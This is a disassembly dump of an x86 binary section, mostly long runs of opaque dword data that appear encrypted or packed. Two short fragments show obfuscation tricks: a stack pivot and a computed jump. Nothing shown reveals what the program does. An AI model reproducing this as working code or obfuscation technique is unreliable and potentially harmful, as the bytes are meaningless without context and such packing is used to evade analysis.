dd 62B18107h, 4DA5A19Dh, 0D6E78F1Bh, 75E83B76h, 1567953Dh
dd 1A9A8832h, 156645B6h, 90EDDE32h, 13CE190Fh, 16EB8752h
dd 73664432h, 9E07FDB9h, 0BD4D44A7h, 15696134h, 0C9C14432h
dd 0E66C2DFCh, 0D34F05C4h, 52DC4FFFh, 0EE48AD91h, 9669DDCDh
dd 15661133h, 81E34FCBh, 1760EBB3h, 75662232h, 1560993Dh
dd 9B698832h, 15664432h, 75A49552h, 43077053h, 944294B9h
dd 156640F6h, 0AE9F4232h, 3FD5C558h, 1BD08753h, 959FC4CEh
dd 153EA13Dh, 1A8F1132h, 8D668832h, 0F742661Bh, 19D42BF5h
dd 0C45692EAh, 0AC379C49h, 417969AAh, 946ECBF3h, 7632AAC3h
dd 4CADA15Ch, 0D6E78F33h, 7B5169A4h, 15661EDBh, 0D17CAC32h
dd 0D4B04FEAh, 0DB381258h, 0CA7F25EBh, 15673163h, 0DE674432h
dd 14ED2D6Bh, 0E9661132h, 156609DBh, 0A536B832h, 9EA70ACDh
dd 0D1E53536h, 14EB8736h, 0ED664432h, 3F8DA252h, 1567953Dh
dd 749A8832h, 0C091ADB5h, 0ED27CBB5h, 9C62FDB1h, 9FD8AC06h
dd 942D2400h, 9648EAFCh, 20909004h, 34196B0Ch, 73061AC3h
dd 9E68FDB3h, 1564963Dh, 4B378832h, 0DFA5C553h, 3C54AD43h
dd 4DE41F9h, 5D792461h, 0B74FD63Fh, 2EA52F6Dh, 0CD910EF9h
dd 704A57Ah, 0D64F29B3h, 12E92D6Ah, 75661132h, 46953F3Dh
dd 90ED256Dh, 13CE2A0Fh, 40F39ACEh, 0FC602019h, 1566443Eh
dd 0D4E4016Fh, 7704A72Ch, 7F7DAAA4h, 1563AD52h, 736A2232h
dd 9462E025h, 6CB27DD8h, 0A8E52512h, 13CE0AA3h, 0B1E21E33h
dd 759977C5h, 0C5AFFA54h, 1565AA3Dh, 0A2691132h, 0CD5DE9CAh
dd 157EC63Dh, 2C9E2232h, 0FE01EE1h, 1A9977DCh, 15664DBCh
dd 2D24232h, 3B549189h, 0A833E957h, 15664433h, 1A3BCC1Bh
dd 156616B7h, 0A269E832h, 740724F8h, 3162A364h, 7D400C7Dh
dd 964284B9h, 0FCE740F6h, 7D403F7Dh, 1567923Dh, 0E99F8832h
dd 26ECADB3h, 0D4E7381Ah, 6B470A65h, 0FCE7711Bh, 6B475F65h
dd 26ECE3B3h, 0FC060B1Ah, 1566883Bh, 10D17BE1h, 1CF8CED3h
dd 612BAF39h, 0ED07A3BBh, 1563FE60h, 0C44F2232h, 944205B9h
dd 15668CF6h, 0A334BC32h, 2521929Ch, 31729AC2h, 0EC624CB1h
dd 12EF4B98h, 75662232h, 6D899054h, 7D36E9F2h, 15663687h
dd 4D422EBBh, 0FCCDED6Bh, 15668822h, 0D5073733h, 0DF4CCAA5h
dd 896EDE44h, 0C1B2A884h, 0EAB504DBh, 1DE52DCDh, 75661132h
dd 15660D3Dh, 47074432h, 15662288h, 9F941032h, 31720330h
dd 156280B3h, 0FC062232h, 1566113Fh, 28AACA27h, 0B88FCDFh
dd 7C69A1B7h, 9E0046A5h, 2907D2F3h, 7EE24BDAh, 75662232h
dd 15661DDAh, 3E27932h, 5A18BB8Ch, 0DA8D74E0h, 4D9F9A85h
dd 156698DAh, 0EC33F232h, 3E533DC7h, 0DDFF04DBh, 1EC41952h
dd 8B86C5C2h, 4B241984h, 0E1DB4453h, 94740D64h, 9030B0DFh
dd 9E8EAB20h, 0D1E5351Eh, 14ED8736h, 0EC664432h, 156EA93Dh
dd 9C691132h, 15668830h, 0AD8F2552h, 75662233h, 0FF6B388Dh
dd 0DDD9EE67h, 110E25F6h, 9C662251h, 449A352Eh, 0DEEF79BBh
dd 944248B9h, 156626F6h, 19EA1E32h, 1A668832h, 156642B4h
dd 15EE2D32h, 44661132h, 1566898Bh, 16974532h, 316AA92Bh
dd 1562D5B3h, 93698832h, 1566442Ah, 156631DBh, 37512C32h
dd 5850B840h, 9E679734h, 8BA5D56Ch, 9AA567A4h, 15633260h
dd 0FEE74432h, 2BA60D31h, 0D6E7C233h, 2BA6A731h, 0CBE72468h
dd 0A37A7BCh, 156614DBh
dd 0FE09BA32h, 73078A44h, 9D8E9460h, 1ED77C2h, 17A20916h
dd 0FC664432h, 15662235h, 0B4024E04h, 0BFA5F886h, 156ACA3Dh
dd 97692232h, 15661134h, 15660F3Dh, 0D6E74432h, 24A0A1Ch
dd 5FB4FAB3h, 0EE4F9BA4h, 5FB487B3h, 0FEE731A4h, 24A391Ch
dd 11DCDAC7h, 94664432h, 0EB7403D9h, 94B53869h, 0EB74A9F1h
dd 45931E69h, 9C62CEB1h, 4E3E352Eh, 1567073Dh, 1A9E4432h
dd 15663EBAh, 0C8E67132h, 15746124h, 3B4B4432h, 613C8D01h
dd 13451009h, 31678A6Bh, 79C5BD49h, 58F8953h, 0EA661132h
dd 0CE40307h, 6B4D009Fh, 207CF5F1h, 9E48250Ah, 9C33AC2Eh
dd 11A3C5D7h, 96662232h, 39E115F7h, 759ED416h, 1560C93Dh
dd 9C692232h, 15661132h, 4535E9CEh, 1566418Ah, 4DA5AB32h
dd 0FC3DCF33h, 15668835h, 7BB9864Ah, 759AEAD7h, 2719A952h
dd 0DEE7F61Ah, 159C7E55h, 4707DB53h, 0D869035Ah, 0D7E7D20Bh
dd 0D354B4DDh, 1EDF2BBh, 11A29016h, 1A668832h, 15664CBBh
dd 17E62D32h, 75661132h, 156B6153h, 4FB64432h, 1BCAE08Dh
dd 92CCE723h, 0D67DA08Ah, 0F6EF17CAh, 1562E1B3h, 0FEE71132h
dd 15668836h, 494258B5h, 0EC422EBBh, 1566A863h, 0FCE78832h
dd 40124B06h, 0D4E7D333h, 40121E06h, 4C670354h, 1563AC52h
dd 651E2232h, 0A79D76F5h, 9969D01Eh, 15664430h, 2907E5B9h
dd 0C7E21EF1h, 0E0668832h, 91698F0Eh, 156622FBh, 1AA42DCEh
dd 156792B6h, 156EAD32h, 0C8C2232h, 0A6603CF7h, 0DF5AEDE7h
dd 1463C03Dh, 1D8F2232h, 13661132h, 3CABE05Bh, 73BDD23Fh
dd 1A43DD0Fh, 156735B6h, 0AF00E832h, 9E00067Eh, 739343E8h
dd 1A993F0Fh, 1566C3B7h, 0AF34BC32h, 15662230h, 0AC37E333h
dd 15668832h, 14EC9533h, 469F786Bh, 0A5364085h, 0E3BE7E55h
dd 0EBB6B2E2h, 119006FAh, 4DA12123h, 0FC3D7012h, 1566443Bh
dd 0C184C979h, 2EA1A51Ch, 1AC6B458h, 15676DB6h, 14E22D32h
dd 0E0661132h, 4C42BCCDh, 156280B3h, 1A062232h, 156613BCh
dd 1AC43932h, 7D079A8Dh, 15662232h, 964215B9h, 0FC938CF6h
dd 15664587h, 15662ADBh, 2B0FC532h, 572A2BABh, 75AF752Fh
dd 55209954h, 74B89A54h, 65DB3567h, 0D8E7448Ah, 27A466D4h
dd 9E66D4B3h, 0FC4F4537h, 0FEC4B6Fh, 75662232h, 0FCA0A63Dh
dd 15668822h, 96C4DD7Dh, 0E83B130h, 0CE2F8695h, 0FA664B33h
dd 15BAAD53h, 58F2232h, 87661132h, 39429CD1h, 82A2632Bh
dd 927814Eh, 404466BCh, 8D59168Fh, 75DC164Ch, 94415B2Bh
dd 0F440EAC0h, 4FB3A16Bh, 1A3BADBBh, 156623B2h, 7306E932h
dd 0A1A8F289h, 8E8F25C6h, 75662232h, 0AE90AE3Dh, 5D879C0Ah
dd 34FFFD53h, 0F4E77ADFh, 13881279h, 0F4A751C5h, 0ECD81236h
dd 0E22E451Eh, 1080D0ECh, 37616EB3h, 0FBE74472h, 1BA612B8h
dd 1A38E003h, 156689BFh, 4E8FBD32h, 1A662232h, 156619BDh
dd 17E78732h, 75664432h, 6E52D53h, 0FC661132h, 1566883Ch
dd 0F4375C86h, 13007F32h, 5A69A854h, 80E236Fh, 9C66444Dh
dd 17D80606h, 0E27EFC50h, 7F8009ECh, 0D465714Fh, 5B2021D4h
dd 0FE31E7B3h, 0E4EF90B2h, 156DAD6Ch, 0E1392232h, 1D227D0Bh
dd 27165549h, 0B195B16Dh, 156AA23Dh, 128F1132h, 8F668832h
dd 6C0002F3h, 98ED0545h, 13CE3A67h, 156E0C3Dh, 93694432h
dd 15662230h, 99697052h, 15668833h, 1AAFC1CEh, 156612B7h
dd 94347132h, 0E8F6F5F8h, 0AD001D68h, 9C070310h, 0BD4D4487h
dd 48FE834h, 0D6664432h, 0B845F49Fh, 8F323104h, 0E05A6A71h
dd 0B9E75C36h, 0E59E9D54h, 3152EE53h, 11A20B6Bh, 15672CCEh
dd 11ED2232h, 11A29016h, 0FC668832h, 15664437h, 0F0CAED68h
dd 7393D2ACh, 9400BECDh, 43126006h, 47007A54h, 4312AB54h
dd 73B6B954h, 156CAD68h, 5D442232h, 48B7D02h, 1A789069h
dd 9169870Eh, 15662032h, 156D923Dh, 73068832h, 0DBE792B9h
dd 709FC514h, 156CF853h, 2ED18832h, 3FFAF848h, 0FA8E20E4h
dd 9DA79963h, 316A03F9h, 0FC6280B1h, 15662222h, 0CBC0FD9Bh
dd 7DBDE208h, 5F02760Dh, 0E95B7760h, 0EBD4A760h, 0C29008FCh
dd 41901654h, 4F002316h, 35CFFFB2h, 78FD2C1h, 5E664432h
dd 1FAE51A0h, 5E103F14h, 0E9158EDFh, 7FBA81Ch, 659DA204h
dd 16B7953Dh, 29938832h, 94E24BDBh, 1A662233h, 156618B1h
dd 1A9EE832h, 156644B0h, 95694332h, 15661133h, 1A8DB4C7h
dd 156727B6h, 14E92D32h, 0EC661132h, 91694A0Eh, 15664566h
dd 1572A33Dh, 0FD061132h, 15668835h, 14218CB4h, 4A240585h
dd 4FA3198Bh, 0DE5AE943h, 1454C03Dh, 1C8F2232h, 2E661132h
dd 4A649F13h, 91DB7FE2h, 30991F54h, 147C953Dh, 92698832h
dd 15664439h, 156624DBh, 3E9CEA32h, 295D17D6h, 14E24BF8h
dd 75662233h, 0E271FBB3h, 749FE678h, 9169A70Eh, 15662105h
dd 15779D3Dh, 198F8832h, 0F0664432h, 0CDEAC65h, 1D3060E9h
dd 73E4107Fh, 1A996A0Fh, 15664FB7h, 4037ED32h, 0BE698E8Fh
dd 1A6EFD31h, 0FC4F2199h, 9F97106Fh, 58FD133h, 8B664432h
dd 0EF0B8CCCh, 0A808F69Fh, 778528ABh, 46B83E7Fh, 0F6E6BD81h
dd 73B5E73Fh, 3D643862h, 353E22F1h, 1A0679EAh, 7506D78Dh
dd 15E28753h, 74664432h, 1AC61E53h, 15666AB6h, 0D5E7E832h
dd 18531415h, 1A07A884h, 156618B3h, 0AE00E832h, 0A269796Dh
dd 7D3443C5h, 2ECD4144h, 94BC7F68h, 41C9CEC0h, 9EB6ABF6h
dd 0D1E53526h, 1D8EE836h, 0A9664432h, 0F4CE1E35h, 0FC72918Bh
dd 15668823h, 0D6DB0CE7h, 83D6122Eh, 0E9A18E52h, 67653110h
dd 128F1E35h, 20662232h, 4C7F47A2h, 0FC075611h, 156644BCh
dd 18EC2DCAh, 0FC661132h, 1566883Ah, 0A1FC0389h, 52AD2321h
dd 3E33A4BBh, 9B698E9Ah, 15664435h, 1567A33Dh, 98931132h
dd 0BBFE87AFh, 156FAD34h, 5DB22232h, 0C891B9B0h, 0EA5790A6h
dd 68FB1E1h, 8A662232h, 0DA6E0967h, 490965D8h, 0D023C76h
dd 94A22BD3h, 0AE35EA92h, 14ECC00Eh, 9461AFF3h, 0FC7DC5D9h
dd 4DA59052h, 46066E35h, 7F4240B3h, 4D5C9749h, 0A01D7B1Fh
dd 9369D308h, 1566443Ch, 1561CB52h, 0A1731132h, 0F8E91876h
dd 0EDA525F0h, 9481AB65h, 156615F5h, 11890B32h, 494278B5h
dd 0ED4226BBh, 9E7667CDh, 0D1E5AC36h, 90EFB836h, 13CE03CBh
dd 15661FDBh, 6936BB32h, 0DD70F218h, 448B8E45h, 9E6715CEh
dd 9C35AC36h, 11A5C5D1h, 96662232h, 9E115F1h, 0FC06D416h
dd 15664439h, 0FF180272h, 5BD29604h, 738D6F52h, 7482DB8Ah
dd 1506EA5Ah, 317A9832h, 15669489h, 4EB84532h, 1571AA3Dh
dd 78F1132h, 4C668832h, 0FDCBF1FDh, 7BF9D352h, 688B3197h
dd 18F9AE8Fh, 2CDBC90Eh, 0FC608A3Bh, 15661122h, 0A5787BA0h
dd 8405F726h, 1A65E691h, 521B0DBh, 156F619Fh, 0C5634432h
dd 185FA553h, 1091BE14h, 5E7B85A8h, 31420031h, 18FC9B63h
dd 0DD4F5A2Fh, 0BE9F706Bh, 156655DBh, 7D761232h, 0DC30D128h
dd 51B9F057h, 435717EFh, 989A15FAh, 0BD4BC08Fh, 0EDCB7D34h
dd 5E37FF61h, 0CD676088h, 31221269h, 5E37A516h, 188F0688h
dd 0D5662232h, 2E6A9226h, 0D44C910Bh, 0A8B49044h, 1568BE5Ah
dd 31629832h, 9F697152h, 1566442Ah, 156631DBh, 0B8900B32h
dd 4D9FE659h, 788DF845h, 0B64F09C7h, 0BA1A52AEh, 156A6153h
dd 13124432h, 0D871C0E6h, 695CD13Ch, 75CDCCC6h, 43CB9DB2h
dd 9A01D5B3h, 743F0CD2h
dd 0A9B35BFh, 0FC06429Ah, 1566223Eh, 0D0A13F8Bh, 0DE082539h
dd 0F1DF49F8h, 74A0A954h, 1577F89Fh, 5B88832h, 146DDD64h
dd 0B5FA30A1h, 9BFBE1BEh, 10366D74h, 3B1B5367h, 7127081Fh
dd 31221278h, 544C8D1Ah, 404B0E56h, 75485F25h, 1A06BA53h
dd 15668DB5h, 0DFE72232h, 1A31F86Fh, 156611BAh, 0EA07D732h
dd 96386006h, 9F6926F6h, 15661133h, 7D9A4BCEh, 156646FBh
dd 0FC4216BBh, 15661138h, 9FFE4D30h, 0F0AE4097h, 48F1CD0h
dd 0F5661132h, 0E9AE6F6h, 0D1D5834Eh, 0A68805A1h, 75B25D8Fh
dd 826F15BFh, 9369429Ch, 15662237h, 0E0384152h, 0FCB57753h
dd 15664426h, 6B522A65h, 0B68E07A4h, 7B7821BFh, 7F0C2704h
dd 69859899h, 0EA9AE8DBh, 156061CDh, 0B4794432h, 0D573B5AFh
dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0B2C0D5F2h, 96A4EAD6h
dd 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch
dd 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah
dd 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah
dd 51D6AC8Ah, 60D554A8h, 59D7BA86h, 42F6CE25h, 0DCF14325h
dd 0BA72E732h, 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh
dd 0BD38C882h, 462CFBFFh, 911DF07h, 0C6D55207h, 0B85E0003h
dd 152A5492h, 0AEAE3075h, 8FA75CDDh, 570D1272h, 0A6B0D9FBh
dd 0AEA4EAD2h, 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h
dd 0BA725032h, 0CB2F168Ch, 13850C1Bh, 142B9675h, 152ABD54h
dd 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 8D000030h, 0AF5E038Dh
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 0FCCDAB13h, 8D89C38Bh, 6A805B9h, 6E9h, 3E80C300h
dd 0C7082152h, 0A8146985h, 6F9C06h, 1DD08100h, 0C7529C1Ch
dd 0A80BBD85h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0F47834F2h, 0B5FFF750h
dd 6A8298Dh, 5B59E781h, 95FF1B23h, 6A820DDh, 6CEB9CB8h
dd 0FF006A52h, 0A81B3195h, 0EBC08B06h, 54D72D59h, 65174A73h
dd 0B5E1CCE6h, 8EF8CCAFh, 13872B7Bh, 0AAE45CAh, 35B5472Ch
dd 3E269AC9h, 7F8229B8h, 5F2E4145h, 61D8CA2Ch, 9E772A7Fh
dd 5EF71322h, 6CD62C0Bh, 178C555Bh, 0C13124C7h, 5E4AC833h
dd 63B1D760h, 0E763490Fh, 0F305E983h, 2CB8BA4h, 0ABA0B859h
dd 0D9583256h, 67B13256h, 0E864A973h, 683D597h, 0A4FD0BC2h
dd 0A958DEDDh, 18B13256h, 0FE36FF50h, 0D5597546h, 0B0B13256h
dd 0B0C7D8D7h, 835834F8h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h
dd 0BA17FB23h, 25FBD5EEh, 0FDF53FD5h, 0DAACC0ADh, 0B7342291h
dd 23AC7ACFh, 20AD29B7h, 75FD7A1Ah, 987C2779h, 7352284Ch
dd 24BCFFA0h, 0F305E983h, 8DDB8BA4h, 0AF8198BDh, 2F8D8D06h
dd 0B806B009h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
dd 0E9F67549h, 5, 0FE05F200h, 0EC81F9CBh, 4, 58240489h
dd 6192B360h, 1ED9BD83h, 750006A8h, 0E9BD8309h, 6A82Dh
dd 53501974h, 11B8C08Bh, 89000004h, 0A80FD585h, 139D8D06h
dd 0FF06AAA2h, 83585BD3h, 0A82DE9BDh, 17740006h, 11B85350h
dd 89000004h, 0A80FD585h, 0B49D8D06h, 0FF06AA9Eh, 0F8585BD3h
dd 0B6CA8B60h, 816061B6h, 0B089D7F2h, 0FB8B6611h, 5A505261h
dd 0F5AD089h, 88Fh, 2890F00h, 60000000h, 8D8DF861h, 6B00CE6h
dd 89F2B70Fh, 0A805B98Dh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 4E067E24h
dd 0A564E322h, 48F0F7Eh, 66000000h, 0C75093B8h, 0A8146985h
dd 699006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 8F0FE45Ah, 14h, 8E8h, 0D99B2900h
dd 0ED8C8BBFh, 0AD8D8931h, 5F06A816h, 0C3C7BB66h, 0BBD85C7h
dd 6A8h, 0BD890000h, 6A832A5h, 5233C3BFh, 9B5FF57h, 6606A835h
dd 8D89FE8Bh, 6A81E49h, 20DD95FFh, 6A06A8h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 19F89DC3h
dd 0E1A5E99Bh, 22D2BA66h, 95FF006Ah, 6A81B31h, 68EBC08Bh
dd 72635F0h, 6C7DC276h, 43AA2A48h, 21AB4772h, 5EA79C27h
dd 0E32A333Bh, 21BE00ECh, 9908A23Ch, 7401305h, 13042660h
dd 0CAFFEA51h, 4A66C989h, 0A61F500Ch, 69F162DFh, 0DA140991h
dd 3500499Ah, 0B748CFB6h, 184A0A94h, 97BC2317h, 0B18B3204h
dd 76039DCFh, 1AFD46D6h, 0B7ED6243h, 0ADC39C23h, 36AD23D6h
dd 439A5420h, 14E8h, 0AF785500h, 39761CC9h, 4111934Eh
dd 0A73D8EC2h, 0F503CA99h, 0D6816661h, 8B58F2B7h, 0A816159Dh
dd 8DC08106h, 0FC000067h, 19A768h, 37E98100h, 5F3E93C9h
dd 0B1108BF5h, 78F281BFh, 662BC874h, 0A7AFC381h, 0CA6BEA81h
dd 8B560ED1h, 0A825E5B5h, 0F2815B06h, 6090118Bh, 52C88B66h
dd 13E8008Fh, 68000000h, 14AAA518h, 2257E9EDh, 2695BD52h
dd 8A5701E7h, 93BE557Ah, 5E0D6188h, 92BEE881h, 5E87E83h
dd 0B000000h, 0CE39F60Eh, 20D18D8Bh, 815906A8h, 8392BAC0h
dd 6E97Eh, 0DC710000h, 9CC2CF50h, 0F01EF83h, 1985h, 6F68100h
dd 0E969A3C4h, 3Eh, 0EDC475CFh, 459B099h, 277F148Ch, 11E8949Ah
dd 28000000h, 0ED26EB7Fh, 4BBAC3F3h, 9CFE1CD1h, 0DD1B8BECh
dd 3411BD89h, 0E95E06A8h, 0FFFFFF4Dh, 38530E1Eh, 0DCC8C5B2h
dd 0FEAFB719h, 0EDE9BE4Dh, 60000000h, 0A8D88C66h, 0DF840F04h
dd 8B000000h, 0A80011B5h, 0FE8306h, 22850Fh, 85C60000h
dd 6A815D5h, 69696845h, 0B5FF8E72h, 6A831F9h, 6971858Dh
dd 0D0FF06ABh, 818589h, 0F08B06A8h, 0FE93E80h, 3185h, 0C4858D00h
dd 0FF06AD7Ch, 25BD8BD0h, 8106A807h, 1184C7h, 11B58B00h
dd 8706A800h, 8B9F7h, 0A4F30000h, 11B58Bh, 858D06A8h, 6ABA1A1h
dd 0B58BD0FFh, 6A80DF1h, 0F00FE83h, 2285h, 0D585C600h
dd 5406A815h, 4EBEF468h, 0F9B5FFFFh, 8D06A831h, 0AB697185h
dd 89D0FF06h, 0A80DF185h, 80F08B06h, 850FE93Eh, 3Ah, 0DF1B58Bh
dd 858D06A8h, 6AD7CC4h, 0BD8BD0FFh, 6A80725h, 1184C781h
dd 0C7830000h, 0F1B58B08h, 8706A80Dh, 8B9F7h, 0A4F30000h
dd 0DF1B58Bh, 858D06A8h, 6ABA1A1h, 0C361D0FFh, 0E52858Dh
dd 858906B0h, 6A83379h, 0EE9h, 56F46300h, 43h, 0
dd 0E9000000h, 4EFh, 0B0108A68h, 6E54E906h, 2F68FFF8h
dd 0E906B011h, 0FFF86E4Ah, 0B0129568h, 6E40E906h, 0DB7EFFF8h
dd 86AB1492h, 0BCDC47C3h, 600EB1F5h, 1D3EE125h, 2C4DCA50h
dd 0B20845E6h, 0EE3C7111h, 0D86E2745h, 99DD477h, 0FD3D4F9Dh
dd 0C7B607E5h, 5EFF9A81h, 0D76CACDEh, 0FD56AF57h, 0D77BBFC9h
dd 0EE49AF57h, 54F7A8F5h, 6206E91Dh, 0D79EBA2Bh, 7DC7514Ah
dd 35D16ACAh, 0FFE22C93h, 0F03D16B5h, 0FFE22E76h, 40E14AB5h
dd 77DD4632h, 374A114h, 17A0000h, 2143AC22h, 355ACB68h
dd 96118770h, 0DF699D26h, 0B5FFECACh, 0E309BD96h, 0FFED6159h
dd 83C523B5h, 0B5FFED87h, 0BFF9D27Dh, 4CE2CDF7h, 0BDF49809h
dd 77F12770h, 0B36553A8h, 0DC0AB1E3h, 941950F3h, 0BDCF1583h
dd 0BA0D8672h, 7CBCCE74h, 4EBA0D86h, 0DA66EFF8h, 466979B3h
dd 0E9C26F26h, 0BD96B8F0h, 0C060EA70h, 8571BE3Dh, 0B6AFEA88h
dd 4477A562h, 2464A62Eh, 1EBA0D68h, 47635C35h, 0B5A2C405h
dd 7195BEC0h, 60A6EF8Eh, 33D59CBFh, 0E85705AEh, 2242C3E0h
dd 75000003h, 0A40F9BD2h, 0D37CCA8Fh, 5AEFCB5h, 359E2C69h
dd 46CD5914h, 0F3BEDF33h, 276A0CB7h, 551C40E3h, 86CF6ED1h
dd 446A400h, 0B607E704h, 0BA93B8FEh, 0D6AEEA1Ch, 16B0AF57h
dd 0AF57D712h, 248747F0h, 0B3E44900h, 82CB69DAh, 1BAC0C1Dh
dd 0A2E402B9h, 0B607E6B6h, 0D907A38Ch, 7E76BAFh, 0BAFE59B6h
dd 5AEC0AB0h, 0B607E75Eh, 2AD0B24h, 359E2C61h, 62B9414h
dd 5CDDE43h, 0B607E705h, 367B54FFh, 7E6EF34h, 0F67F1B6h
dd 0D9A74F1Fh, 16FB68D7h, 1AF3ED64h, 3B72119Eh, 4A7FE8Dh
dd 22A300F3h, 27Dh, 5AE0A9D0h, 951154F9h, 0C3470E2Ah, 33773260h
dd 64A2EF90h, 1738DA9Fh, 0C363CC5Ah, 0F597388Eh, 0A6C56EBCh
dd 19C35BEFh, 7E7ABEFh, 0F45399B6h, 0D80EB5E7h, 7E6BAAEh
dd 2343ACB6h, 0E72119A3h, 48E3B607h, 1C37D95Fh, 20640EEh
dd 0A1B607E7h, 3364C98Ch, 0B31098B3h, 7E76BABh, 3AC07B6h
dd 6FC21BF7h, 1CCE214h, 0FF450000h, 5288155Ch, 169BD271h
dd 690C9305h, 7519FA20h, 0A912F830h, 0F00AB00Bh, 0B5FFF58Dh
dd 7D345477h, 0D7DF1F84h, 0CCB5FFF4h, 81B9E6ABh, 15C62398h
dd 2F43A4B2h, 0D249C56Ah, 0F55EC251h, 0B6322E2Ch, 3DD51477h
dd 6E000000h, 0D80EB5E7h, 7C3151B2h, 0B4B2E637h, 0B6000559h
dd 0F9DA002Bh, 6CACDE5Ah, 56B60005h, 8E9F04FDh, 75B1B92Ah
dd 11B60005h, 0DF9F9BAh, 0E81477F8h, 0C3h, 3D7011F2h, 2A71A7F0h
dd 0BC3459BAh, 57D70E0Ah, 625BF4AFh, 0E34CEC3Dh, 0ADE08140h
dd 0F13E1700h, 5989E375h, 39B1F8A0h, 91074978h, 83206D0Eh
dd 26551567h, 0F79EE005h, 0F2261F5Ah, 0DA470E2Dh, 49EB2A49h
dd 0B4ADE488h, 0C1453E6Fh, 5853DD07h, 0EEA7C6AFh, 0F64DEF58h
dd 0F387B6D0h, 0D27DB602h, 0E7AACB34h, 0ED1F45A3h, 0B602F2ADh
dd 0B37CBC97h, 9C29DF92h, 0FEF309B5h, 117443Dh, 0CF6A0000h
dd 0F29F0086h, 0A8D073B7h, 54FAA5E1h, 92A9511h, 3879C644h
dd 0B6F4B9DAh, 9A206D0Dh, 0D4521B39h, 581C86Bh, 901BBA1h
dd 0FBB607E9h, 5EFF96BDh, 86699713h, 0A00FA9E4h, 8876B4FDh
dd 0EB480127h, 0BA3D66B2h, 57F83559h, 0AB84951Ah, 0C855183Ah
dd 0B7D659DFh, 4AE7C8FEh, 693AA90Fh, 396783CAh, 57D78B8Fh
dd 5ADE79AFh, 5EE557F0h, 26C51EA8h, 94BFB600h, 0A6EF8D76h
dd 62882079h, 2C6C9EC4h, 16B60027h, 1334FB3Dh, 0E91FB7D6h
dd 971D6944h, 4D5EC3BCh, 0F034D654h, 0B3B60055h, 7B325190h
dd 0DE0CE536h, 0EEB1709Ch, 0F6EBAD6Bh, 2D4D8525h, 6821447Bh
dd 88F9D2CBh, 860CACE5h, 95B97C1Dh, 87C26FD0h, 8B28011Ah
dd 483Ah, 30BA1D00h, 0C455CA25h, 42C55348h, 0BBD69D2h
dd 0B608B45Bh, 0A10E29h, 2D96145Dh, 10DA470Eh, 0FBEF94BCh
dd 0B8BF60D5h, 7F325495h, 0FC9F0086h, 9BB768B5h, 258E51DEh
dd 9FD6757Ch, 0CC85A80Bh, 39E67h, 0B0B90000h, 1158FFCBh
dd 3970138Ch, 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh
dd 0A2E78B14h, 0CD84A47Dh, 0D792BF60h, 8950FA4Ah, 405E0h
dd 0E8830000h, 24048704h, 2404895Ch, 81E68956h, 4C6h, 4EE8300h
dd 5C243487h, 51242C89h, 0C181E189h, 4, 8704E983h, 895C240Ch
dd 0BA522434h, 6B00F81h, 148BD589h, 4C48324h, 24348B54h
dd 4C481h, 8F550000h, 348B0846h, 0E3895324h, 4C381h, 0C3830000h
dd 241C8704h, 242C8B5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5517CE
; ---------------------------------------------------------------------------
ror dword ptr [ebp-4FEC2E48h], cl
push es
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 386FD709h, 0BB16A2h, 6C8B4C93h, 77E59785h, 47D24EE6h
dd 4642C7ECh, 11456815h, 28CBD68Eh, 62076D4Eh, 481395Ah
dd 530ECACDh, 8111393h, 49438C9Eh, 4A2BB5E6h, 16379CB7h
dd 35CB8C72h, 64AE3C73h, 79BE9A28h, 0A9DFD4Ch, 730E4CD1h
dd 5495939Fh, 54CCB80Eh, 1413A102h, 48320FF0h, 6FD77A73h
dd 4F959426h, 15600EE5h, 32CDB870h, 13E8h, 0F3ECC400h
dd 875D13B0h, 0F9DA0D25h, 62B2EFACh, 3AA94146h, 6E9h, 41292900h
dd 5B6FA8AAh, 81CFBF0Fh, 7587C3h, 5E900h, 6BE70000h, 337C4E18h
dd 0C0B70FD2h, 0E91A34FFh, 0Ah, 0E66F37E0h, 0B856A1F6h
dd 665E2A91h, 3F46CF81h, 0C8E8EE81h, 840F1A08h, 6, 8A0Fh
dd 0C6810000h, 0A0C9160h, 0EE81F88Bh, 767A8F1h, 13E8h
dd 0A9F9D100h, 0F3A3E6C2h, 0DF77A139h, 2CA0FC0Dh, 0B3F74E15h
dd 34895FFCh, 5AB9F513h, 835DB721h, 8B6602EAh, 0F4A4AC3h
dd 0FA81FBB7h, 0FFFF8B24h, 0FF8E850Fh, 0CF81FFFFh, 1C5D7F1Bh
dd 1AE9h, 748B9400h, 18h, 4 dup(0)
dd 0E9000000h, 4D7h, 36743D5Ch, 61A5E08Dh, 57D39ABEh, 870346ECh
dd 0F0367B1Ch, 0ABCC466Bh, 5FFFA0E6h, 92B9412h, 3A59FA40h
dd 0B5B73773h, 7EC1713h, 80AFEDB6h, 0F1155CFFh, 0FEA4F67h
dd 0F4249C95h, 0A0ED8E17h, 5B9AB91Ah, 0FB2C7138h, 61049D02h
dd 751A8B28h, 0DA00F330h, 8F1459F9h, 0A11A9Eh, 0F7135AF9h
dd 0F721680Ch, 0CB82A20Dh, 0F9B0D47Fh, 94CE2CDh, 462573A4h
dd 0B3F0BDDDh, 979E07ACh, 0C56EBCF5h, 0B842EFA6h, 0AF58517Dh
dd 4B47E8CFh, 12DFAC5Fh, 8BBEh, 5CFF8100h, 6FB4F19Dh, 1ED8453Eh
